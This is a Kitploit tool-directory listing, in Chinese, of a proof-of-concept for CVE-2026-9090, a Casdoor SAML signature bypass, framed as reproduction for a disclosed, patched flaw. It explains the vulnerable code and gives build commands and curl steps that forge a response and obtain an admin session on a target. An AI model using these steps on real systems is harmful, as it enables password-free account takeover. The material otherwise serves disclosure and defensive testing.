Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-9090-poc — CVE-2026-9090 的 PoC — Casdoor SAML 签名绕过 (CWE-347)。仅用于复现;经由 CERT/CC VU#780781 协调。 | Kitploit
工具/GitHubGitHub/kimdir01/cve-2026-9090-poc
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试身份验证
GitHubkimdir01/cve-2026-9090-poc

CVE-2026-9090-poc

CVE-2026-9090 的 PoC — Casdoor SAML 签名绕过 (CWE-347)。仅用于复现;经由 CERT/CC VU#780781 协调。

查看仓库
425天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-9090 — Casdoor SAML 签名绕过(PoC)

CVE-2026-9090(CWE-347,加密签名验证不当)的概念验证,即 Casdoor 身份平台中的一个身份验证绕过漏洞。

归属说明。 CVE-2026-9090 由 CERT/CC 发布并协调披露——参见 VU#780781。本仓库是针对这一已公开漏洞的独立、仅用于复现的概念验证,并不声称发现该漏洞。

漏洞

当 Casdoor 在 POST /api/acs 处消费 SAML 响应(通过外部 SAML 提供方登录)时,buildSpCertificateStore 函数会从传入的 SAML 响应本身内嵌的 <X509Certificate> 构建签名信任锚,而非使用为身份提供方注册的证书。

root@kitploit:~
// object/saml_sp.go  (vulnerable, <= v2.362.0)
func buildSpCertificateStore(provider *Provider, samlResponse string) (certStore ..., err error) {
    certEncodedData := ""
    if samlResponse != "" {
        certEncodedData, err = getCertificateFromSamlResponse(samlResponse, provider.Type) // <-- cert from the response
    } else if provider.IdP != "" {
        certEncodedData = provider.IdP
    }
    ...
    certStore = dsig.MemoryX509CertificateStore{ Roots: []*x509.Certificate{idpCert} }
}

由于信任锚取自响应本身,攻击者可以用自己的自签名证书为 SAML 断言签名,并将该证书一并嵌入响应,签名即可自证有效。将 NameID 设置为现有用户即可解析到该账户——若该用户是管理员,攻击者将获得管理员会话。整个过程无需密码。

  • 影响范围: Casdoor <= 2.362.0
  • 修复版本: 较新版本仅从已注册的 provider.IdP 构建证书库(buildSpCertificateStore(provider *Provider) 不再读取响应)。请升级到当前版本。
  • 漏洞类别: CWE-347 — 自引用信任锚。

此 PoC 的功能

forge_saml.go 会构建一个完整的 SAML Response,其 Assertion 使用一次性自签名密钥签名,并将该密钥的证书嵌入 <ds:KeyInfo><ds:X509Certificate>。它使用与 Casdoor 相同的 goxmldsig 库,因此规范化与签名格式可被原样接受。

构建

root@kitploit:~
go mod init cve-2026-9090-poc      # or: go build directly in this repo
go get github.com/beevik/etree github.com/russellhaering/goxmldsig
go build -o forge_saml forge_saml.go

使用方法

root@kitploit:~
# 1) forge a response for an existing (admin) NameID, aimed at the target's ACS URL
./forge_saml \
  --nameid [email protected] \
  --acs      http://TARGET:8000/api/acs \
  --audience http://TARGET:8000/api/acs \
  > forged.b64

# 2) submit it. NOTE: Casdoor url-unescapes SAMLResponse before base64-decoding, so the value MUST be
#    url-encoded (a raw '+' would be turned into a space -> "illegal base64 data").
ENC=$(python3 -c 'import urllib.parse;print(urllib.parse.quote(open("forged.b64").read().strip()))')
curl -s -c cookie.txt \
  "http://TARGET:8000/api/login?application=APP&organization=ORG&provider=SAML_PROVIDER&method=signup" \
  -H 'Content-Type: application/json' \
  -d "{\"application\":\"APP\",\"organization\":\"ORG\",\"provider\":\"SAML_PROVIDER\",\"method\":\"signup\",\"type\":\"login\",\"samlResponse\":\"$ENC\"}"
# -> {"status":"ok","data":"ORG/admin"}

# 3) confirm the session
curl -s -b cookie.txt http://TARGET:8000/api/get-account | jq '.data | {name,isAdmin,owner}'

APP、ORG 与 SAML_PROVIDER 分别指应用程序名称、组织以及绑定到该应用程序的 SAML 提供方。Casdoor 应用程序的注册信息(包括其绑定的提供方)可通过 /api/get-application?id=admin/<name> 读取。

负责任使用

本 PoC 针对一个已修复且已公开披露的漏洞发布,用于防御性测试、检测工程与研究。请仅对你有权测试的系统运行。正确的修复措施是升级 Casdoor,使 buildSpCertificateStore 仅针对已注册的提供方证书进行验证。

参考资料

  • CERT/CC VU#780781 — https://kb.cert.org/vuls/id/780781
  • Casdoor — https://github.com/casdoor/casdoor
  • CWE-347 — https://cwe.mitre.org/data/definitions/347.html

许可证

MIT — 参见 LICENSE。

下载工具